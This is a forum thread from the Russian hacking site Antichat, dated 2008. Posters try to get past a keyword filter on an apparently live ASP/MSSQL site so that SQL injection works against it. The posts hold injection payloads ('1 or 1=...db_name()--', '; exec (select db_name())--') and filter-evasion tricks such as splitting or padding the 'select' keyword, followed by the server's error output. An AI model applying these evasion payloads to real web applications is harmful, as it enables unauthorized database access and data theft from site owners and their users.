ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

фильтрация select в mssql
  #1  
Старый 01.07.2008, 15:07
Аватар для durito
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
Провел на форуме:
117639

Репутация: 55
Отправить сообщение для durito с помощью ICQ
По умолчанию фильтрация select в mssql

вот впервые столкнулся с такой интересной фильтрацией:

если в теле запроса видит select то переводит его в такой вид:

Код:
selëct db_name()
и соотвественно скуль ругается:

Код:
Line 1: Incorrect syntax near ';'.
т.е. вместо второе е подставляет html значение немецкой ё - ë

попытки закодировать select в %73%65%6C%65%63%74

успеха не принесли

если ли еще какие-то варианты?
 
Ответить с цитированием

  #2  
Старый 01.07.2008, 15:15
Аватар для durito
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
Провел на форуме:
117639

Репутация: 55
Отправить сообщение для durito с помощью ICQ
По умолчанию

там же Iis и винда, а ей пофиг на регистр
 
Ответить с цитированием

  #3  
Старый 02.07.2008, 08:29
Аватар для Dima-k17
Dima-k17
Познающий
Регистрация: 15.09.2005
Сообщений: 60
Провел на форуме:
254802

Репутация: 52
Отправить сообщение для Dima-k17 с помощью ICQ
По умолчанию

ээээ... Я правильно понял твою проблему?
Код:
;exec ("SELE"+"CT users"+"FROM tables")
 
Ответить с цитированием

  #4  
Старый 03.07.2008, 10:15
Аватар для durito
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
Провел на форуме:
117639

Репутация: 55
Отправить сообщение для durito с помощью ICQ
По умолчанию

я вообще не встречал, чтоб такая фича гдето работала
 
Ответить с цитированием

  #5  
Старый 03.07.2008, 14:01
Аватар для o3,14um
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789

Репутация: 227
По умолчанию

посоветую поискать какие слова/символы вырезаются. Именно вырезаются. Так, например, если вырезается тег <script>, то запрос нужно желать таким: se<script>lect
 
Ответить с цитированием

  #6  
Старый 04.07.2008, 12:24
Аватар для durito
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
Провел на форуме:
117639

Репутация: 55
Отправить сообщение для durito с помощью ICQ
По умолчанию

так ведь, дык не вырезается а заменяет на ё

Dima-k17

отвечает:


Цитата:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'ect'.

/event_detail.asp, line 44
обрамляем скобками и видим что не нравится:


Цитата:
1 or 1=(["sel"+"ect" db_name()])--
Цитата:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Invalid column name '"sel" "ect" db_name()'.

/event_detail.asp, line 44
т.е. при таком запросе просто отбрасывает sel

если пробовать так:


Цитата:
4696; exec (select db_name())--
то ответ:


Цитата:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'ex'.

/event_detail.asp, line 44
подставляем скобки:

Цитата:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'ex&euml;c (sel&euml;ct db_name())'.

/event_detail.asp, line 44
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Эффективные Слепые Иньекции Евгений Минаев Авторские статьи 10 31.05.2008 09:43
SQL-injection: целочисленные SELECT результаты и как с ними бороться. Cytech Авторские статьи 8 05.04.2008 23:21
MySQL Injection Cheat Sheet xcedz Болталка 3 13.02.2008 03:21
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Внедрение Sql кода с завязанными глазами, часть 2 k00p3r Чужие Статьи 0 12.06.2005 20:45



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ